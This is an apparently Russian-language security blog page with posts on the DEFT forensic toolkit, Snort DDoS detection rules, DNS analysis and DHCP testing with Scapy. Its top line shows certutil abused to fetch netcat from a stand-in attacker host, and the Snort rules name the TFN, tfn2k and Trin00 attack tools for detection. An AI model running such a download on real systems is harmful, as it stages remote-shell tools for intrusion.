victim$>certutil -VerifyCTL -f -split http://attacker/nc.exe.txt

Friday, 9 October 2020

Супер-инструментарий DEFT для исследователя.

Всем привет.

Каждый специалист по форензике наверняка слышал хоть раз про инструментарий под именем DEFT. DEFT Linux - зарекомендовавший себя и довольно известный в специальном кругу инструмент профессионального криминалиста по расследованию компьютерных инцидентов. Начинка дистрибутива предназначена для проведения анализа последствий взломов, определения скрытых или потерянных данных в системе, а также для сбора доказательств в расследованиях компьютерных преступлений. По мимо Linux-платформы разработана версия и для Windows-систем с пакетом дополнений DART 2 (Digital Advanced Response Toolkit), включающий более 200 утилит.

Название DEFT Linux произошло от акронима «Digital Evidence & Forensic Toolkit». Этот дистрибутив создан усилиями группы специалистов, занимающихся расследованием компьютерных преступлений. На сегодня доступен релиз дистрибутива DEFT 8.2, предназначенного для проведения анализа последствий взломов, определения скрытых или потерянных данных в системе, а также для сбора доказательств в расследованиях компьютерных преступлений. Дистрибутив построен на базе Lubuntu и снабжен удобным графическим интерфейсом, использующим компоненты десктоп-окружения LXDE и оптимизированным для упрощения выполнения типовых операций, выполняемых при проведении расследования.


Размер загрузочного Live-образа около 3 Гб, начиная с текущей версии дистрибутив поставляется только в 64-разрядных сборках. 

В состав дистрибутива входит достаточно полная подборка профильных утилит: от антивирусов, систем поиска информации в кэше браузера, сетевых сканеров и утилит для выявления руткитов, до анализаторов содержимого диска и программ для выявления скрытых данных. Например, в комплект входят такие инструменты, как Guymager, Sleuthkit, Autopsy, dcfldd, ddrescue и linen.

Основное предназначение - проведение мероприятий по анализу последствий взлома компьютерных систем, определения потерянных и скомпрометированных данных, а также для сбора т.н. цифровых доказательств совершения киберпреступлений.

Friday, 11 September 2020

Система обнаружения вторжений и Scapy.

Всем привет.

Продолжим, сегодня пощупаем  cистему обнаружения вторжений с помошью Scapy.

Система обнаружения вторжений (IDS) - очень ценный инструмент в руках грамотного налитика. Сетевая система обнаружения вторжений (NIDS) может анализировать трафик в реальном времени за счет регистрации пакетов в IP-сетях. Путем сопоставления пакетов на базе известного набора вредоносных сигнатур IDS может предупредить сетевого аналитика про атаку, прежде чем она произойдет. Например, система SNORT IDS поставляется со множеством различных правил, способных обнаруживать разные типы эксплоитов и атак типа "отказ в обслуживании" среди большого разнообразия других векторов атак. Изучив содержимое одного из этих правил, мы можем увидеть четыре признака обнаружения TFN, tfn2k и Trin00. Когда злоумышленник использует TFN, tfn2k или Trin00 против цель, IDS обнаруживает атаку и предупреждает аналитика. Однако что происходит когда аналитики получают больше предупреждений, чем они могут физически обработать? Они теряют свою сноровку и могут упустить важную деталь атаки.

victim# cat /etc/snort/rules/ddos.rules

<..SNIPPED..>

alert icmp $EXTERNAL_NET any -> $HOME_NET any (msg:"DDOS TFN Probe";

icmp_id:678; itype:8; content:"1234"; reference:arachnids,443;

classtype:attempted-recon; sid:221; rev:4;)

alert icmp $EXTERNAL_NET any -> $HOME_NET any (msg:"DDOS tfn2k icmp

possible communication"; icmp_id:0; itype:0; content:"AAAAAAAAAA";

reference:arachnids,425; classtype:attempted-dos; sid:222; rev:2;)

alert udp $EXTERNAL_NET any -> $HOME_NET 31335 (msg:"DDOS Trin00

Daemon to Master PONG message detected"; content:"PONG";

reference:arachnids,187; classtype:attempted-recon; sid:223; rev:3;)

alert icmp $EXTERNAL_NET any -> $HOME_NET any (msg:"DDOS

TFN client command BE"; icmp_id:456; icmp_seq:0; itype:0;

reference:arachnids,184; classtype:attempted-dos; sid:228; rev:3;)

<...SNIPPED...>

Friday, 4 September 2020

Разбор траффика DNS в Scapy.

Всем привет.

Продолжаем опыты со Scapy. Рассмотрим разбор траффика DNS.

Когда мы исследуем запросы протокола DNS в Scapy, мы видим поля которые включены в каждый пакет. DNSQR содержит название запроса (qname), его тип (qtype) и класс (qclass). Для нашего запроса выше мы просим адрес IPv4 для whitehouse.com, который нужно разрешить, делая поле qname равно whitehouse.com. DNS-сервер отвечает добавлением DNSRR который содержит имя записи ресурса (rrname), тип (тип), ресурс класс записи (rclass) и TTL. Зная, как работают fast-flux и domain-flux, теперь мы можем написать несколько скриптов Python и с помощью Scapy провести анализ и выявление подозрительного DNS-траффика.

analyst# scapy
Welcome to Scapy (2.0.1)
>>>ls(DNSQR)
qname : DNSStrField = ('')
qtype : ShortEnumField = (1)
qclass : ShortEnumField = (1)
>>>ls(DNSRR)
rrname : DNSStrField = ('')
type : ShortEnumField = (1)
rclass : ShortEnumField = (1)
ttl : IntField = (0)
rdlen : RDLenField = (None)
rdata : RDataField = ('')

Европейское агентство сетевой и информационной безопасности предоставляет отличный ресурс для анализа сетевого трафика. Они предоставляют Live DVD ISO-образ который содержит несколько сетевых дампов и упражнений к ним. Вы можете скачать копию с http://www.enisa.europa.eu/activities/cert/support/exercise/live-dvdiso-images.
Кроме того, вы можете захотеть заразить виртуальную машину шпионским или вредоносным ПО. и безопасно исследовать трафик в контролируемой лабораторной среде, прежде чем продолжить. Для наших целей предположим, что теперь у нас есть сеть, захваченная в файл с именем fastFlux.pcap, который содержит некоторый DNS-трафик, который мы хотим проанализировать.

Monday, 25 May 2020

Диагностика приложений протокола DHCP в Scapy.

Всем привет.

Вторая часть практики со  Scapy от Бражука Андрея. Сегодня будет проведена активная диагностика приложений протокола DHCP. Первую часть читаем здесь.

Оригинал статьи вы найдете в журнале "Системный администратор" №12 (109) 2011 года.

Введение

Протокол динамической конфигурации узла DHCP (Dynamic Host Configuration Protocol) повсеместно используется для автоматизации процесса получения настроек протокола IP на сетевых узлах. Средства, обеспечивающие функциональность DHCP-сервера, существуют для всех программных платформ, реализующих те или иные удаленные службы (серверные версии Windows, Linux/Unix, операционные системы маршрутизаторов, шлюзов, межсетевых экранов и т. д.). Клиент этого протокола обычно имеется в любом оборудовании, работающем в сети.

Не смотря на наличие хорошей документации и простоту настройки приложений DHCP, работоспособность их сложных конфигураций требует проверки. Обычно для активного тестирования используется рабочая станция, сетевой стек которой настроен на динамическое получение параметров IP. Для обнаружения существующих проблем исследуются журналы работы сервера и клиента DHCP, а также, если необходимо, с помощью соответствующего ПО перехватывается и анализируется трафик между ними.

В ряде случаев нестандартные задачи активной диагностики DHCP, а также автоматизация их решения требуют привлечение технологий программирования. Учитывая то, что в практике системного администрирования обычно основная цель программирования - быстрый результат, решать данный класс задач лучше с помощью специальных инструментов. Рассмотренный в статье генератор сетевых пакетов Scapy собственно и есть такое средство. Данная утилита одновременно является расширяемой библиотекой языка программирования Python и ориентирована на протоколы без установления соединения, к которым относится и DHCP, использующий протокол UDP в качестве транспорта.

Разведка боем: имитируем DHCP-клиент

Ввиду того, что принципы функционирования DHCP общеизвестны и описаны в литературе, теоретические выкладки пропустим и сразу перейдем к программированию DHCP-клиента в Scapy.

Тестовый стенд, использовавшийся для написания данной статьи, построен на основе ПО с открытым исходным кодом: виртуальная машина (ВМ) VirtualBox на основе Debian GNU/Linux с установленным ISC DHCP. Утилита Scapy запускалась с хостовой системы, объединенной с ВМ с помощью виртуального адаптера «Виртуальная сеть хоста». При этом, DHCP-сервер VirtualBox для этого режима был отключен. Разумеется, описанные в статье упражнения можно повторить в «физической» сети с использованием службы DHCP, встроенной в маршрутизатор, реальный сервер или модем.

Для получения минимальной работоспособной конфигурации сервера ISC DHCP достаточно в файле /etc/dhcp/dhcpd.conf описать подсеть (subnet):
subnet 192.168.56.0 netmask 255.255.255.0 {
  range 192.168.56.10 192.168.56.30;
  option domain-name-servers 192.168.56.1;
  option domain-name "local.test";
  option routers 192.168.56.1;
  option broadcast-address 192.168.56.255;
  default-lease-time 600;
  max-lease-time 7200;
}

Версія на друк

Популярне